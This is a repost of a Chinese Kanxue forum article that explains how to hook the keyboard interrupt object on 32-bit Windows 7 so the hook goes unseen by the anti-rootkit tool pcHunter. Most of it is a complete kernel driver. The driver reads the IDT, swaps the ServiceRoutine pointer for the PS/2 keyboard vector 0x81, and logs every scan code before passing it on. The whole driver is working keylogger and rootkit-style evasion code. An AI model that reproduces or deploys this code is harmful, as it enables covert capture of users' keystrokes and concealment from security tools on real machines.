其他
通过Hook InterruptObject来躲避pcHunter的检查
本文为看雪论坛优秀文章
例如,在IDT的0x81表项存放的地址为0x874b8a58,其实就是对应的中断对象0x874b8a00的DispatchCode成员(偏移为0X58)。
874b8a58 54 push esp ;中断分派代码的开头874b8a59 55 push ebp874b8a5a 53 push ebx...874b8b39 bf008a4b87 mov edi, 874B8A00h ;把中断对象的地址存入edi中874b8b3e e9fd2b99fc jmp nt!KiInterruptDispatch (83e4b740)nt!KiInterruptDispatch:83e4b740 8bec mov ebp, esp83e4b742 8b472c mov eax, dword ptr [edi+2Ch]...83e4b7a5 8b4718 mov eax, dword ptr [edi+18h]83e4b7a8 50 push eax ;压栈ServiceContext83e4b7a9 57 push edi ;压栈中断对象83e4b7aa ff570c call dword ptr [edi+0Ch] ;调用ServiceRoutine...
#include <ntddk.h>
// 程序在32位的Win7 pro SP1是跑通的
// 由于这里我们必须明确一个域是多少位,所以我们预先定义几个明
// 确知道多少位长度的变量,以避免不同环境下编译的麻烦.
typedef unsigned char P2C_U8;
typedef unsigned short P2C_U16;
typedef unsigned long P2C_U32;
#define P2C_MAKELONG(low, high) \
((P2C_U32)(((P2C_U16)((P2C_U32)(low) & 0xffff)) | ((P2C_U32)((P2C_U16)((P2C_U32)(high) & 0xffff))) << 16))
#define P2C_LOW16_OF_32(data) \
((P2C_U16)(((P2C_U32)data) & 0xffff))
#define P2C_HIGH16_OF_32(data) \
((P2C_U16)(((P2C_U32)data) >> 16))
// 从sidt指令获得一个如下的结构。从这里可以得到IDT的开始地址
#pragma pack(push,1)
typedef struct P2C_IDTR_ {
P2C_U16 limit; // 范围
P2C_U32 base; // 基地址(就是开始地址)
} P2C_IDTR, * PP2C_IDTR;
#pragma pack(pop)
// 下面这个函数用sidt指令读出一个P2C_IDTR结构,并返回IDT的地址。
void* p2cGetIdt()
{
P2C_IDTR idtr;
// 一句汇编读取到IDT的位置。
_asm sidt idtr
return (void*)idtr.base;
}
typedef struct _KINTERRUPT
{
SHORT Type;
SHORT Size;
LIST_ENTRY InterruptListEntry;
UCHAR * ServiceRoutine;
UCHAR * MessageServiceRoutine;
ULONG MessageIndex;
PVOID ServiceContext;
ULONG SpinLock;
ULONG TickCount;
ULONG * ActualLock;
PVOID DispatchAddress;
ULONG Vector;
UCHAR Irql;
UCHAR SynchronizeIrql;
UCHAR FloatingSave;
UCHAR Connected;
CHAR Number;
UCHAR ShareVector;
char Pad[3];
KINTERRUPT_MODE Mode;
KINTERRUPT_POLARITY Polarity;
ULONG ServiceCount;
ULONG DispatchCount;
UINT64 Rsvd1;
ULONG DispatchCode[135];
} KINTERRUPT, *PKINTERRUPT;
#pragma pack(push,1)
typedef struct P2C_IDT_ENTRY_ {
P2C_U16 offset_low;
P2C_U16 selector;
P2C_U8 reserved;
P2C_U8 type : 4;
P2C_U8 always0 : 1;
P2C_U8 dpl : 2;
P2C_U8 present : 1;
P2C_U16 offset_high;
} P2C_IDTENTRY, * PP2C_IDTENTRY;
#pragma pack(pop)
P2C_U32 g_old_addr = NULL;
// 首先读端口获得按键扫描码打印出来。然后将这个扫
// 描码写回端口,以便别的应用程序能正确接收到按键。
// 如果不想让别的程序截获按键,可以写回一个任意的
// 数据。
#define OBUFFER_FULL 0x02
#define IBUFFER_FULL 0x01
ULONG p2cWaitForKbRead()
{
int i = 100;
P2C_U8 mychar;
do
{
_asm in al, 0x64
_asm mov mychar, al
KeStallExecutionProcessor(50);
if (!(mychar & OBUFFER_FULL)) break;
} while (i--);
if (i) return TRUE;
return FALSE;
}
ULONG p2cWaitForKbWrite()
{
int i = 100;
P2C_U8 mychar;
do
{
_asm in al, 0x64
_asm mov mychar, al
KeStallExecutionProcessor(50);
if (!(mychar & IBUFFER_FULL)) break;
} while (i--);
if (i) return TRUE;
return FALSE;
}
void p2cUserFilter()
{
static P2C_U8 sch_pre = 0;
P2C_U8 sch;
DbgPrint("p2cUserFilter\n");
p2cWaitForKbRead();
_asm in al, 0x60
_asm mov sch, al
DbgPrint("p2c: scan code = 0x%x\n", sch);
// 把数据写回端口,以便让别的程序可以正确读取。
if (sch_pre != sch)
{
sch_pre = sch;
_asm mov al, 0xd2
_asm out 0x64, al
p2cWaitForKbWrite();
_asm mov al, sch
_asm out 0x60, al
}
}
__declspec(naked) p2cInterruptProc()
{
__asm
{
pushad // 保存所有的通用寄存器
pushfd // 保存标志寄存器
push fs
mov bx, 0x30
mov fs, bx
push ds
push es
call p2cUserFilter // 调一个我们自己的函数。这个函数将实现
// 一些我们自己的功能
pop es
pop ds
pop fs
popfd // 恢复标志寄存器
popad // 恢复通用寄存器
jmp g_old_addr // 跳到原来的中断服务程序
}
}
VOID HOOK_IDT(ULONG nIndex, BOOLEAN b)
{
PP2C_IDTENTRY idt_item = (PP2C_IDTENTRY)p2cGetIdt();
//将指针指向PS/2中断项
idt_item += nIndex;
//dispatchCode地址
P2C_U32 dispatchCode = P2C_MAKELONG(idt_item->offset_low, idt_item->offset_high);
PKINTERRUPT interrupt_object = (PKINTERRUPT)(dispatchCode - 0x58);
if (b)
{
g_old_addr = interrupt_object->ServiceRoutine;
interrupt_object->ServiceRoutine = p2cInterruptProc;
DbgPrint("源地址为%x 替换后的地址%x\n", g_old_addr, p2cInterruptProc);
}
else
{
interrupt_object->ServiceRoutine = g_old_addr;
DbgPrint("替换为原来的地址");
}
}
#define DELAY_ONE_MICROSECOND (-10)
#define DELAY_ONE_MILLISECOND (DELAY_ONE_MICROSECOND*1000)
#define DELAY_ONE_SECOND (DELAY_ONE_MILLISECOND*1000)
//驱动卸载函数
VOID IDT_Unload(IN PDRIVER_OBJECT DriverObject)
{
for (int i = 0; i < KeNumberProcessors ;i++ )
{
KeSetSystemAffinityThread(i + 1);
HOOK_IDT(0x81, FALSE);
KeRevertToUserAffinityThread();
}
LARGE_INTEGER interval;
DbgPrint("p2c: unloading\n");
// 睡眠5秒。等待所有irp处理结束
interval.QuadPart = (5 * 1000 * DELAY_ONE_MILLISECOND);
KeDelayExecutionThread(KernelMode, FALSE, &interval);
}
//驱动程序入口
NTSTATUS DriverEntry(
IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
)
{
//处理多核
//书上说是给其他CPU投递DCP进行HOOK来处理多核的情况
//但是我试了试这种方法似乎也可以
for (int i = 0; i < KeNumberProcessors ;i++ )
{
KeSetSystemAffinityThread(i + 1);
HOOK_IDT(0x81, TRUE);
KeRevertToUserAffinityThread();
}
DriverObject->DriverUnload = IDT_Unload;
return STATUS_SUCCESS;
}
看雪ID:危楼高百尺
https://bbs.pediy.com/user-home-926584.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!